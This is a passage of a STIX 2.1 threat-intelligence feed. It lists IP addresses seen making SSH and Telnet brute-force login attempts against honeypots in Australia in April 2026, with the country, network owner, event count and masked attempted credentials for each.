      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 6327. Organisation(s): Shaw Communications.",
      "id": "indicator--de0432da-f23c-4a9a-9644-a005d40c58cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '68.151.1.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T11:15:11.000Z",
      "valid_until": "2026-05-25T11:15:08.000Z"
    },
    {
      "created": "2026-04-23T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 62468. Organisation(s): VpsQuan L.L.C..",
      "id": "indicator--8db3ae21-42f5-493b-9222-48f3576f0601",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '69.165.65.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T11:15:11.000Z",
      "valid_until": "2026-05-25T11:15:08.000Z"
    },
    {
      "created": "2026-04-23T11:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PL. ASN(s): 9141. Organisation(s): Play.",
      "id": "indicator--f262246f-fb77-4258-ad5f-2504cd2c8044",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '84.10.16.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T11:15:11.000Z",
      "valid_until": "2026-05-25T11:15:08.000Z"
    },
    {
      "created": "2026-04-23T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 34984. Organisation(s): Superonline Iletisim Hizmetleri A.S..",
      "id": "indicator--9397d903-512a-4419-afe0-847b87d17da2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '151.250.194.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T12:15:13.000Z",
      "valid_until": "2026-05-25T12:15:09.000Z"
    },
    {
      "created": "2026-04-23T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 133. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): r**t, a*******4, 3**********4, a***n, d****y. Passwords observed (masked): ***, 1******r, 1***E, 3***********4, 3**********4.",
      "id": "indicator--fe7512b6-c032-4614-8b55-63bb94e7bc0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.92.182.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T12:15:13.000Z",
      "valid_until": "2026-05-25T12:15:09.000Z"
    },
    {
      "created": "2026-04-23T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 564. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, ***, t**t, u**r. Passwords observed (masked): a***n, 1****6, 1**4, a****3, p******d.",
      "id": "indicator--0cdb5f79-9e87-4ac0-984b-18e14e998879",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.3.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T12:15:13.000Z",
      "valid_until": "2026-05-25T12:15:09.000Z"
    },
    {
      "created": "2026-04-23T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 469. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, c****t, s*****t, u**t. Passwords observed (masked): p******d, 1**4, 1***5, 1****6, a***n.",
      "id": "indicator--f4b3d30c-fdbc-4153-9501-f1bdf8b91237",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.43.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T12:15:13.000Z",
      "valid_until": "2026-05-25T12:15:09.000Z"
    },
    {
      "created": "2026-04-23T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********3, H**********************3.",
      "id": "indicator--b25eb210-8219-4ec4-a972-6d047936f667",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.78.234.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T12:15:13.000Z",
      "valid_until": "2026-05-25T12:15:09.000Z"
    },
    {
      "created": "2026-04-23T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 280. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 27847. Organisation(s): TECNOLOGIA DIGITAL, S.A. DGTEC. Usernames observed (masked): r**t, f*****r, 3**********4, a*******4, ***. Passwords observed (masked): 3***********4, 3**********4, !********#, 1**2, 1**4.",
      "id": "indicator--354bfdb8-12c6-432b-83d0-7e01f5a98d5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.172.152.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T12:15:13.000Z",
      "valid_until": "2026-05-25T12:15:09.000Z"
    },
    {
      "created": "2026-04-23T13:15:16.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********3, H**********************3.",
      "id": "indicator--f0d795e2-c21e-400d-b8fe-aed894ec1373",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T13:15:16.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.233.46.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T13:15:16.000Z",
      "valid_until": "2026-05-25T13:15:09.000Z"
    },
    {
      "created": "2026-04-23T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--34e7e788-2381-49ed-8407-df892d7a447b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.183.92.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T14:15:10.000Z",
      "valid_until": "2026-05-25T14:15:08.000Z"
    },
    {
      "created": "2026-04-23T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--6e90dc92-360a-48c1-a290-23d87ec4b20b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '128.203.203.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T14:15:10.000Z",
      "valid_until": "2026-05-25T14:15:08.000Z"
    },
    {
      "created": "2026-04-23T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--d30ae4df-6cd6-4824-bb18-c5b1c3668f0f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T14:15:10.000Z",
      "valid_until": "2026-05-25T14:15:08.000Z"
    },
    {
      "created": "2026-04-23T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C******5, H**********************3.",
      "id": "indicator--4172a25d-2b5c-4e4b-9d8b-6944506c1720",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.205.192.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T14:15:10.000Z",
      "valid_until": "2026-05-25T14:15:08.000Z"
    },
    {
      "created": "2026-04-23T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--71630ea3-9906-400b-a3e0-7155482fa25f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.225.97.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T14:15:10.000Z",
      "valid_until": "2026-05-25T14:15:08.000Z"
    },
    {
      "created": "2026-04-23T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): A*******N. Passwords observed (masked): A*****U.",
      "id": "indicator--8e8e6442-f084-435c-9b1c-6de72aaf00d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.89.160.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T14:15:10.000Z",
      "valid_until": "2026-05-25T14:15:08.000Z"
    },
    {
      "created": "2026-04-23T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--8433bb4a-c1d1-435a-8526-0230bcf58853",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.162.107.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T15:15:10.000Z",
      "valid_until": "2026-05-25T15:15:08.000Z"
    },
    {
      "created": "2026-04-23T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): s*****t. Passwords observed (masked): s*****t.",
      "id": "indicator--50fcdd6d-9e65-439d-91c6-99573da9b443",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '130.12.181.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T15:15:10.000Z",
      "valid_until": "2026-05-25T15:15:08.000Z"
    },
    {
      "created": "2026-04-23T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17577. Organisation(s): LG HelloVision Corp..",
      "id": "indicator--cc55153e-d693-43e0-9ee0-43410e5e4358",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '210.192.95.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T15:15:10.000Z",
      "valid_until": "2026-05-25T15:15:08.000Z"
    },
    {
      "created": "2026-04-23T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--3aed9744-ba3f-407b-b3b5-a4dfdc7aa453",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T15:15:10.000Z",
      "valid_until": "2026-05-25T15:15:08.000Z"
    },
    {
      "created": "2026-04-23T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6128. Organisation(s): Cablevision Systems Corp..",
      "id": "indicator--d55dbbfe-ca7a-4172-ac8a-2b646ec0fe90",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '68.197.213.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T16:15:10.000Z",
      "valid_until": "2026-05-25T16:15:08.000Z"
    },
    {
      "created": "2026-04-23T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--4f93a103-d008-4977-824a-e18a0d3c4bef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.244.201.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T16:15:10.000Z",
      "valid_until": "2026-05-25T16:15:08.000Z"
    },
    {
      "created": "2026-04-23T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 34806. Organisation(s): Asline Limited. Usernames observed (masked): r**t, ***, 3**********4, l*****l, p******s. Passwords observed (masked): 1**4, 2******3, 3***********4, 3**********4, P********5.",
      "id": "indicator--e63b25d3-abb1-4d02-b590-a65631b2aa8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.100.69.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T17:15:11.000Z",
      "valid_until": "2026-05-25T17:15:09.000Z"
    },
    {
      "created": "2026-04-23T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Heralding. Target ports: 5900. Source country: HK. ASN(s): 9312. Organisation(s): xTom. Passwords observed (masked): 1****1, ***, 1**4, 1***5, 1****6.",
      "id": "indicator--fc16af67-1a5a-4cd6-af85-4f3a2eebb3e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.125.233.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T17:15:11.000Z",
      "valid_until": "2026-05-25T17:15:09.000Z"
    },
    {
      "created": "2026-04-23T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 140292. Organisation(s): CHINATELECOM Jiangsu province Suzhou 5G network.",
      "id": "indicator--dfd48827-a44b-477b-8beb-feb8c01dd7c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.82.91.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T17:15:11.000Z",
      "valid_until": "2026-05-25T17:15:09.000Z"
    },
    {
      "created": "2026-04-23T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 141995. Organisation(s): Contabo Asia Private Limited. Usernames observed (masked): r**t, u****u, 3**********4, ***, l*****u. Passwords observed (masked): 3***********4, 3**********4, A*********1, D***5, Q********3.",
      "id": "indicator--d5ee40c3-3754-4e7b-8c1c-ed899e50b7af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.233.91.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T17:15:11.000Z",
      "valid_until": "2026-05-25T17:15:09.000Z"
    },
    {
      "created": "2026-04-23T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f492fed1-5f1d-4938-8a6d-737b7c9d2c4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T17:15:11.000Z",
      "valid_until": "2026-05-25T17:15:09.000Z"
    },
    {
      "created": "2026-04-23T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--b40ba8a0-c768-4f4c-b030-850fe30e711f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.239.122.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T17:15:11.000Z",
      "valid_until": "2026-05-25T17:15:09.000Z"
    },
    {
      "created": "2026-04-23T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--f7919631-ba7c-4ae0-8c09-6397f61a7212",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.222.205.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T17:15:11.000Z",
      "valid_until": "2026-05-25T17:15:09.000Z"
    },
    {
      "created": "2026-04-23T18:15:37.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HN. ASN(s): 7727. Organisation(s): Hondutel.",
      "id": "indicator--d187da34-41fc-4097-85ef-7e03de505b9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T18:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '181.210.129.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T18:15:37.000Z",
      "valid_until": "2026-05-25T18:15:03.000Z"
    },
    {
      "created": "2026-04-23T18:15:37.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--e0cfb3f0-c7f5-4951-b65f-e88e6f121433",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T18:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.138.160.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T18:15:37.000Z",
      "valid_until": "2026-05-25T18:15:03.000Z"
    },
    {
      "created": "2026-04-23T18:15:37.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1412. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215607. Organisation(s): dataforest GmbH. Usernames observed (masked): r**t, u****u, d****y, f*****r, u**r. Passwords observed (masked): 1****6, ***, P******d, 1***5, p******d.",
      "id": "indicator--c49113e5-41e8-4aed-934d-b2dc7425e755",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T18:15:37.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.26.106.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T18:15:37.000Z",
      "valid_until": "2026-05-25T18:15:03.000Z"
    },
    {
      "created": "2026-04-23T19:15:48.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network.",
      "id": "indicator--57674d80-feba-48df-a010-19f4e73bf398",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T19:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.50.139.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T19:15:48.000Z",
      "valid_until": "2026-05-25T19:15:08.000Z"
    },
    {
      "created": "2026-04-23T19:15:48.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--39620776-5624-4596-8576-d98a16ab1ec7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T19:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '143.244.178.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T19:15:48.000Z",
      "valid_until": "2026-05-25T19:15:08.000Z"
    },
    {
      "created": "2026-04-23T19:15:48.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 207957. Organisation(s): Serv.host Group Ltd. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--5803e726-c5cc-44d1-aa88-a99d02c70d4f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-23T19:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.31.49.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T19:15:48.000Z",
      "valid_until": "2026-05-25T19:15:08.000Z"
    },
    {
      "created": "2026-04-23T19:15:48.000Z",
